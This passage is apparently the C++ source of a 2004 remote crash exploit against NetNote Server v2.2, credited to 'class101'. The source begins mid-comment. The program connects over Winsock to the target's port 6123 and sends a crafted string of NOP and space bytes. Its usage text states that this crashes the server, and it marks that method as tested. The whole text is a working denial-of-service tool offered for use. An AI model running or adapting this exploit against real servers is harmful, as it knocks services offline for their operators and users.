*/
 
#include "winsock2.h"
#include "fstream.h"
 
#pragma comment(lib, "ws2_32")
 

static char payload[100];
 
char crash[]="\x90\x90\x90\x90\x20\x20\x20\x20";
 
void usage(char* us);
WSADATA wsadata;
void ver();
 
int main(int argc,char *argv[])
{
 ver();
 if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;}
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
 int ip=htonl(inet_addr(argv[2])), port;
 if (argc==4){port=atoi(argv[3]);}
 else port=6123;
 SOCKET s;
 struct fd_set mask;
 struct timeval timeout;
 struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
  case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   cout<<"[+] connected, sending the bad string..."<<endl;
   Sleep(1000);
   if (atoi(argv[1]) == 1){strcat(payload,crash);}
   strcat(payload,"\r\n");
   Sleep(1000);
      if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
   Sleep(1000);
   if (atoi(argv[1]) == 1){cout<<"[+] payload send, the NetNote server should be crashed."<<endl;}
   return 0;
  }
 }
 closesocket(s);
 WSACleanup();
 return 0;
}
 

void usage(char* us)
{ 
 cout<<"USAGE: 101_netn.exe Method Ip Port\n"<<endl;
 cout<<"TARGETS:                               "<<endl;
 cout<<"      [+] 1. Crash NetNote Server  (*)"<<endl;
 cout<<"NOTE:                               "<<endl;
 cout<<"      The port 6123 is default if no port are specified"<<endl;
 cout<<"      The exploit crash the server."<<endl;
 cout<<"      A wildcard (*) mean Tested."<<endl;
 return;
}
 
void ver()
{ 
cout<<endl;
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]===="<<endl;
cout<<"        ===NetNote Server v2.2, Free Electronic Notes for Windows===="<<endl;
cout<<"        ========Remote Crafted String Vulnerability=================="<<endl;
cout<<"        ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<"        ============================================================="<<endl;
cout<<"                                                                   "<<endl;
}